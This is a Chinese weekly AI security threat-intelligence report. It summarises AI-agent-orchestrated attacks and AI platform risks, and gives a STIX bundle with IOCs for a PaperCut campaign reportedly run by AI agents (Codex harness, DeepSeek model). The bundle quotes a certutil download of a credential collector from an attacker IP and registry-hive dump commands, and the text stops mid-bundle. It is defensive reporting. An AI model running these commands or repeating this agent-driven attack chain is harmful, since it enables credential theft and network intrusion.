报告编号：TIC-202609-AI02
报告周期：2026年9月5日—9月11日
一、报告概述
基于360威胁情报中心对本期公开网络安全素材的整理与分析，本周AI安全风险主要集中在AI智能体自动化攻击、生成式AI辅助社会工程、AI平台跨账号数据泄露、模型网关与推理组件漏洞、隐蔽提示攻击以及AI代理本地数据窃取等方向。相关事件显示，AI正从辅助单点任务向编排完整攻击流程发展，同时AI平台、模型组件、代理配置和连接应用也形成新的高价值攻击面。
报告重点内容涵盖：
· AI辅助攻击与欺诈：数百个AI智能体被用于编排PaperCut全球攻击，攻击者还使用AI生成邮件模板实施高管冒充和虚假发票欺诈。
· AI平台与代理数据风险：ChatGPT沙箱隔离问题形成跨账号隐蔽通道，信息窃取恶意软件开始收集AI工具令牌、MCP配置、提示历史和项目数据。
· 模型与工具链安全：LiteLLM漏洞链可导致云环境失陷，PuzzleMask可通过纯文本散文隐藏恶意提示，Ollama解码组件存在整数溢出风险，对抗性AI活动正进一步走向自主化。
───────────────────────────────────
二、本周重点安全事件
（一）数百个AI智能体编排PaperCut全球攻击
事件名称：26秒攻陷11家机构：一场由数百个AI智能体编排的PaperCut全球攻击行动
发布日期：2026-09-10
发布机构：奇安信威胁情报中心
威胁概述：
奇安信威胁情报中心援引GreyNoise披露，一场由数百个AI智能体编排的全球攻击行动利用PaperCut NG/MF漏洞CVE-2026-81578和CVE-2026-82078，在无需认证的情况下实现远程代码执行。攻击者随后转储LSASS进程内存与注册表凭据，通过传递哈希或noPac漏洞链横向移动，并利用DCSync获取域凭据。素材显示，该行动在26秒内攻陷11家机构，涉及教育、零售、房地产、政府和医疗等行业。
IOC指标：
· CVE：CVE-2026-81578, CVE-2026-82078, CVE-2021-42278, CVE-2021-42287, CVE-2023-27350
· IP：45.142.193.132, 45.158.196.75
· MD5：528cd4e69ecfa5191adbcf6ef28667bf, ce870a91e8d27e8f663f0687abc60b04, a6437ac3d6798090a218520985d36a3f, fc92dfafa7aa741c5f2b9cbcf75d1d19, 974decb9ff4c8f9ccb0937c96d513347
· URL：http://45.142.193.132:8000/lsa_collect.exe, http://45.142.193.132:8089/agent5.exe
STIX详情：
{
"type": "bundle",
"id": "bundle--efd1c3ca-29ca-40d8-ba02-1a0e29e68b0f",
"spec_version": "2.1",
"objects": [
{
"type": "campaign",
"spec_version": "2.1",
"id": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"name": "PaperCut NG/MF全球攻击行动",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "由数百个AI智能体编排，针对PaperCut NG/MF两个在野漏洞发动的全球性大规模攻击行动",
"x_evidence": "GreyNoise最新披露的一起针对PaperCut NG/MF的全球性攻击行动",
"x_confidence": 0.95
},
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"name": "疑似俄语背景攻击者",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "通过OpenAI Codex作为智能体运行框架、DeepSeek模型作为实际执行模型，编排数百个AI智能体执行攻击的攻击者",
"x_evidence": "一名疑似俄语背景的攻击者利用IP地址45.142.193.132...发动了一场全球性的大规模攻击行动",
"x_confidence": 0.9
},
{
"type": "infrastructure",
"spec_version": "2.1",
"id": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"name": "PaperCut NG/MF",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "受攻击的打印管理软件",
"x_evidence": "PaperCut是广泛部署于学校、企业、政府机构和托管服务商的打印管理软件；其中NG和MF为自托管的Java Web应用",
"x_confidence": 0.97
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--704c127a-a16b-45d2-add8-0ce7a6953064",
"name": "GreyNoise",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "披露并持续跟踪此次全球性攻击行动的威胁情报机构",
"x_evidence": "GreyNoise最新披露的一起针对PaperCut NG/MF的全球性攻击行动",
"x_confidence": 0.99
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--a22d0a23-d8ce-4e20-b933-47d716b9497c",
"name": "CVE-2026-81578",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "PaperCut NG/MF Web管理接口关键功能缺失身份验证漏洞",
"x_evidence": "CVE-2026-81578让攻击者无需任何凭据即可修改系统配置",
"x_confidence": 0.96
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--e90e2ec7-cba0-456e-a0c1-0afb503584f1",
"name": "CVE-2026-82078",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "PaperCut NG/MF数据库连接工具组件不安全的动态类加载漏洞",
"x_evidence": "被篡改的配置（数据库驱动类名）随即触发CVE-2026-82078，使服务器加载并执行攻击者指定的Java代码",
"x_confidence": 0.96
},
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--621f44bf-281b-4e7e-8bee-8b144badbdc2",
"name": "Clop",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "曾大规模利用PaperCut漏洞的勒索团伙",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop、LockBit、Bl00dy等勒索团伙大规模利用",
"x_confidence": 0.85
},
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--4f62692a-2660-4ace-8c04-a322a2a3c243",
"name": "LockBit",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "曾大规模利用PaperCut漏洞的勒索团伙",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop、LockBit、Bl00dy等勒索团伙大规模利用",
"x_confidence": 0.85
},
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--238b5866-ac2c-4cf7-a489-55fa3ffbf3fb",
"name": "Bl00dy",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "曾大规模利用PaperCut漏洞的勒索团伙",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop、LockBit、Bl00dy等勒索团伙大规模利用",
"x_confidence": 0.85
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--2ca03dd0-6ad6-4978-a3ce-60aab95478e9",
"name": "CVE-2023-27350",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "曾被勒索团伙大规模利用的PaperCut历史漏洞",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop、LockBit、Bl00dy等勒索团伙大规模利用",
"x_confidence": 0.8
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--bd7f2319-7635-4ff5-b425-c250b8326050",
"name": "CVE-2023-27351",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "曾被勒索团伙大规模利用的PaperCut历史漏洞",
"x_evidence": "2023年CVE-2023-27350/27351就曾被Clop、LockBit、Bl00dy等勒索团伙大规模利用",
"x_confidence": 0.8
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--e317aeb3-7656-4c14-9814-9ef7670fd5d0",
"name": "Huntress",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "在客户环境中观测到最早的利用尝试的安全机构",
"x_evidence": "8月26日Huntress在客户环境中观测到最早的利用尝试",
"x_confidence": 0.9
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--3ffa85e8-6437-4865-8f9f-da2605f61bb8",
"name": "watchTowr",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "发现PaperCut首版补丁存在绕过问题的机构",
"x_evidence": "8月28日watchTowr与Huntress发现首版补丁存在多种绕过方式",
"x_confidence": 0.9
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--20e3c2a1-2f1a-4df0-b590-5ae6dc057ff0",
"name": "CISA",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "将两个CVE列入已知被利用漏洞目录的机构",
"x_evidence": "CISA将两个CVE同时列入已知被利用漏洞目录",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--4784a4fd-8352-4eb0-87eb-4cb14b4a846b",
"name": "Metasploit利用模块",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "公开可用的漏洞利用模块",
"x_evidence": "8月31日Metasploit利用模块已公开可用",
"x_confidence": 0.7
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--72e2e4fe-e80b-4d26-9767-0cc05e762133",
"name": "Netlas.io",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者用于持续构建目标清单的互联网扫描服务",
"x_evidence": "攻击者使用互联网扫描服务Netlas.io持续构建目标清单",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--a42b8159-e6e4-461b-9bc0-886b7b48fd1f",
"name": "IP2Location",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "用于解析目标IP到所属国家的国家库",
"x_evidence": "下载IP2Location国家库将1005个目标IP解析到所属国家",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--85c93314-2f18-44ab-8c02-4b8ee495e5cb",
"name": "Kali",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "入侵工具包包含的组件",
"x_evidence": "入侵工具包含Kali组件、后渗透连接脚本等",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--1b5602b1-ca17-45e7-8671-1027a98cfc7b",
"name": "OpenAI Codex",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "作为智能体运行框架被攻击者使用",
"x_evidence": "支撑这套编排体系的是OpenAI的Codex（作为智能体运行框架/harness）",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--4f725d76-e4d6-4866-8b4b-b4ef527a9bad",
"name": "DeepSeek",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "实际执行任务所使用的大语言模型",
"x_evidence": "一个DeepSeek模型实际执行任务",
"x_confidence": 0.9
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--bc0e55c3-ea6f-4bb7-ac3d-1e6add6cb2c1",
"name": "Cloudflare",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "其Web应用防火墙成功挫败了攻击者的机构",
"x_evidence": "Cloudflare Web应用防火墙成功挫败了攻击者",
"x_confidence": 0.9
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--2af7303c-f975-47e4-8907-33743ef4728f",
"name": "noPac攻击",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者利用CVE-2021-42278/CVE-2021-42287发起域内提权",
"x_evidence": "受害环境未修复CVE-2021-42278/CVE-2021-42287时，攻击者直接发起noPac攻击",
"x_confidence": 0.9
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--fe84fdb1-8d8b-4418-9d44-f321457fc3ba",
"name": "CVE-2021-42278",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "用于noPac攻击进行域内提权的历史漏洞",
"x_evidence": "CVE-2021-42278/CVE-2021-42287用于noPac攻击",
"x_confidence": 0.9
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--e1b96fba-f83f-47dc-81ee-d9596b52cc26",
"name": "CVE-2021-42287",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "用于noPac攻击进行域内提权的历史漏洞",
"x_evidence": "CVE-2021-42278/CVE-2021-42287用于noPac攻击",
"x_confidence": 0.9
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--129122ab-d8bd-4f6b-9e4e-adffe22d1fec",
"name": "DCSync",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "生成完整的NTDS.DIT转储窃取域凭据的技术",
"x_evidence": "终点动作一致：通过DCSync生成完整的NTDS.DIT转储",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--803dbc8b-2c1e-4612-8bb1-f4c1d5531bcf",
"name": "Ligolo-ng",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者投放的隧道代理工具，用于维持持久化访问",
"x_evidence": "攻击者还在部分主机投放了Ligolo-ng隧道代理",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--bb935873-8cb0-429c-b889-711cfe9c3770",
"name": "Certify",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "ADCS滥用工具",
"x_evidence": "工具库中还包含Certify（ADCS滥用）等公开攻击工具",
"x_confidence": 0.8
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--2724394a-953e-409f-a015-898782e8c82b",
"name": "45.142.193.132",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "原文明确标注用于编排和执行PaperCut攻击行动的攻击基础设施IP",
"x_evidence": "45.142.193.132 用于编排和执行攻击行动",
"x_confidence": 0.97
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--4f3c2e85-f937-4c13-b39e-2219d077fef3",
"name": "45.158.196.75",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "原文明确标注用于执行PaperCut攻击行动的第二台攻击主机IP",
"x_evidence": "45.158.196.75 用于执行攻击行动",
"x_confidence": 0.97
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--d6528eda-a3c2-4fb2-b886-3538fb9a7c39",
"name": "http://45.142.193.132:8000/lsa_collect.exe",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "原文IoC表标注为LSA bootkey收集器下载地址",
"x_evidence": "http://45.142.193[.]132:8000/lsa_collect.exe LSA bootkey收集器下载地址",
"x_confidence": 0.95
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--03027a55-07a0-437d-8708-a4708cce6101",
"name": "http://45.142.193.132:8089/agent5.exe",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "原文IoC表标注为Ligolo-ng代理下载地址",
"x_evidence": "http://45.142.193.132:8089/agent5.exe Ligolo-ng代理下载地址",
"x_confidence": 0.95
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"first_observed": "2026-09-10T10:57:49Z",
"last_observed": "2026-09-10T10:57:49Z",
"number_observed": 1,
"objects": {
"0": {
"type": "file",
"name": "lsa_read.exe",
"description": "Rust编写的LSA机密读取器凭据窃取工具",
"aliases": [],
"evidence": "lsa_read.exe — Rust编写的LSA机密读取器",
"confidence": 0.9
},
"1": {
"type": "file",
"name": "save_hives.exe",
"description": "注册表Hive转储器",
"aliases": [],
"evidence": "save_hives.exe — 注册表Hive转储器",
"confidence": 0.9
},
"2": {
"type": "file",
"name": "collect_custom.exe",
"description": "Rust自定义收集器",
"aliases": [],
"evidence": "collect_custom.exe — Rust自定义收集器",
"confidence": 0.9
},
"3": {
"type": "file",
"name": "lsa_collect_small.exe",
"description": "Rust LSA bootkey收集器",
"aliases": [
"lsa_collect.exe"
],
"evidence": "lsa_collect_small.exe — Rust LSA bootkey收集器；命令行中使用lsa_collect.exe",
"confidence": 0.75
},
"4": {
"type": "file",
"name": "certipy.exe",
"description": "ADCS滥用工具",
"aliases": [],
"evidence": "certipy.exe — ADCS滥用工具",
"confidence": 0.8
},
"5": {
"type": "file",
"name": "ligolo-agent.exe",
"description": "Ligolo隧道代理文件",
"aliases": [],
"evidence": "C:\\ProgramData\\ligolo-agent.exe Ligolo隧道代理",
"confidence": 0.9
},
"6": {
"type": "file",
"name": "legit-svc.exe",
"description": "Ligolo-ng伪装的服务名",
"aliases": [],
"evidence": "C:\\ProgramData\\LegitSvc\\legit-svc.exe Ligolo-ng伪装的服务名与路径",
"confidence": 0.9
},
"7": {
"type": "file",
"name": "legit-svc-backup.exe",
"description": "Ligolo-ng伪装的服务名备份",
"aliases": [],
"evidence": "legit-svc-backup.exe Ligolo-ng伪装的服务名备份",
"confidence": 0.9
},
"8": {
"type": "process",
"name": "reg save HKLM\\SYSTEM",
"description": "执行转储并编码SYSTEM Hive的命令",
"aliases": [],
"evidence": "reg save HKLM\\SYSTEM ... 转储并Base64编码SYSTEM Hive",
"confidence": 0.9
},
"9": {
"type": "process",
"name": "reg save HKLM\\SECURITY",
"description": "执行转储并编码SECURITY Hive的命令",
"aliases": [],
"evidence": "reg save HKLM\\SECURITY ... 转储并Base64编码SECURITY Hive",
"confidence": 0.9
},
"10": {
"type": "process",
"name": "certutil下载lsa_collect.exe",
"description": "用于下载lsa_collect.exe工具的命令",
"aliases": [],
"evidence": "certutil -urlcache -split -f http://45.142.193.132:8000/lsa_collect.exe ...",
"confidence": 0.9
},
"11": {
"type": "process",
"name": "pc-app.exe",
"description": "PaperCut服务进程，Windows默认以SYSTEM权限运行",
"aliases": [],
"evidence": "pc-app.exe进程在Windows上默认以SYSTEM级权限运行",
"confidence": 0.95
}
}
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7f9c459e-8c80-4ec4-9f76-b14f5ac93e0d",
"relationship_type": "attributed-to",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "该攻击行动由疑似俄语背景攻击者编排",
"x_evidence": "一名疑似俄语背景的攻击者...发动了全球性大规模攻击行动",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fe585d90-b3fe-4e01-a121-065accb23e97",
"relationship_type": "targets",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "infrastructure--09774ad3-dc7f-4340-94d7-b7d8f9a28eb7",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击目标为互联网可达的PaperCut NG/MF实例",
"x_evidence": "针对打印管理软件PaperCut NG/MF两个在野漏洞...发动攻击",
"x_confidence": 0.97
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b331261e-c3db-4f41-9f74-13b175f05c68",
"relationship_type": "exploits",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "vulnerability--a22d0a23-d8ce-4e20-b933-47d716b9497c",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击利用CVE-2026-81578在未认证情况下篡改系统配置",
"x_evidence": "CVE-2026-81578让攻击者无需任何凭据即可修改系统配置",
"x_confidence": 0.96
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3c2caf33-ffdd-4a4c-b9e3-7a75a0ef6f7e",
"relationship_type": "exploits",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "vulnerability--e90e2ec7-cba0-456e-a0c1-0afb503584f1",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "链式触发CVE-2026-82078实现预认证RCE",
"x_evidence": "被篡改的配置随即触发CVE-2026-82078，使服务器执行任意Java字节码",
"x_confidence": 0.96
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c10cd21b-fa17-4850-810d-097afc918548",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "ipv4-addr--2724394a-953e-409f-a015-898782e8c82b",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击行动使用IP 45.142.193.132进行编排、执行与工具下载",
"x_evidence": "45.142.193.132用于编排和执行攻击行动",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8fb0d51c-6237-4474-8557-833139901613",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "ipv4-addr--4f3c2e85-f937-4c13-b39e-2219d077fef3",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击行动使用IP 45.158.196.75建立SSH会话执行打击",
"x_evidence": "智能体经SSH在第二台主机45.158.196.75上建立数百个会话",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4464a2dc-4323-45a0-8aa3-914a8572b53c",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "attack-pattern--2af7303c-f975-47e4-8907-33743ef4728f",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "对未修复环境使用noPac攻击进行域内提权",
"x_evidence": "受害环境未修复CVE-2021-42278/CVE-2021-42287时，攻击者直接发起noPac攻击",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f84c1187-a20d-4224-ba24-83d8289a343a",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "attack-pattern--129122ab-d8bd-4f6b-9e4e-adffe22d1fec",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "通过DCSync生成完整NTDS.DIT转储窃取域凭据",
"x_evidence": "终点动作一致：通过DCSync生成完整的NTDS.DIT转储",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ffc417bd-15d7-4b0b-b328-cbc3466bda80",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "tool--803dbc8b-2c1e-4612-8bb1-f4c1d5531bcf",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "在部分主机投放Ligolo-ng隧道代理以维持持久访问",
"x_evidence": "攻击者还在部分主机投放了Ligolo-ng隧道代理",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1ea27327-abaf-46b5-b04a-38e9311fe4d6",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用lsa_read.exe窃取LSA机密",
"x_evidence": "lsa_read.exe — Rust编写的LSA机密读取器",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--62af1a72-30f5-4eb4-bbac-43c128bb513e",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用save_hives.exe转储注册表Hive",
"x_evidence": "save_hives.exe — 注册表Hive转储器",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9d62bf82-8323-4208-863f-1da8b8f04287",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用collect_custom.exe进行自定义凭据收集",
"x_evidence": "collect_custom.exe — Rust自定义收集器",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fca6babe-ca28-440f-9f0e-0d89bbafaacf",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用LSA bootkey收集器窃取凭据",
"x_evidence": "命令行certutil下载并运行lsa_collect.exe；IoC表列出lsa_collect_small.exe",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ebdb6fdb-ddf8-47db-a553-39ef85e22906",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用命令转储并Base64编码SYSTEM Hive",
"x_evidence": "reg save HKLM\\SYSTEM ... certutil -encode ...",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8113f59b-1f87-4bc7-9d5c-d7508f6c10fc",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用命令转储并Base64编码SECURITY Hive",
"x_evidence": "reg save HKLM\\SECURITY ... certutil -encode ...",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2ef76065-0b7d-4efa-aaeb-12e0c28628b4",
"relationship_type": "uses",
"source_ref": "campaign--5c1cece8-9cd5-481d-baa3-163ffa76ed63",
"target_ref": "observed-data--c3b13a39-e6ff-4ee8-b2b4-fb7157d8c752",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "使用certutil命令下载并运行LSA收集器",
"x_evidence": "certutil -urlcache -split -f http://45.142.193.132:8000/lsa_collect.exe ...",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--5cbd8039-1c53-4c61-8347-8a4f38b64348",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"target_ref": "tool--1b5602b1-ca17-45e7-8671-1027a98cfc7b",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者使用OpenAI Codex作为智能体运行框架",
"x_evidence": "支撑这套编排体系的是OpenAI的Codex",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--83f9dbf6-8b8a-43fa-bd9b-70299e624ef5",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"target_ref": "tool--4f725d76-e4d6-4866-8b4b-b4ef527a9bad",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者使用DeepSeek模型实际执行任务",
"x_evidence": "一个DeepSeek模型实际执行任务",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--170603fc-b336-4029-95f8-807434942795",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"target_ref": "tool--72e2e4fe-e80b-4d26-9767-0cc05e762133",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者使用Netlas.io持续构建目标清单",
"x_evidence": "攻击者使用互联网扫描服务Netlas.io持续构建目标清单",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--a4e5ad7c-48fa-4157-b9ef-36b5aebd34b9",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"target_ref": "tool--a42b8159-e6e4-461b-9bc0-886b7b48fd1f",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者使用IP2Location解析目标IP到国家",
"x_evidence": "下载IP2Location国家库将1005个目标IP解析到所属国家",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c704d55b-b49e-4e5b-a1e6-2f517f5ba9ab",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"target_ref": "tool--85c93314-2f18-44ab-8c02-4b8ee495e5cb",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "入侵工具包包含Kali组件",
"x_evidence": "入侵工具包含Kali组件",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--06e1810c-3bee-45a9-9d07-57f22a172468",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
"target_ref": "tool--bb935873-8cb0-429c-b889-711cfe9c3770",
"created": "2026-09-10T10:57:49Z",
"modified": "2026-09-10T10:57:49Z",
"description": "攻击者工具库中包含Certify，但原报告未证明本次实际使用",
"x_evidence": "工具库中还包含Certify（ADCS滥用）等公开攻击工具，但并非全部在本次行动中实际使用",
"x_confidence": 0.75
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--352bd791-0fc4-4fdb-a90e-4024104a5500",
"relationship_type": "uses",
"source_ref": "intrusion-set--7600e39f-054b-4768-a076-e877bb025429",
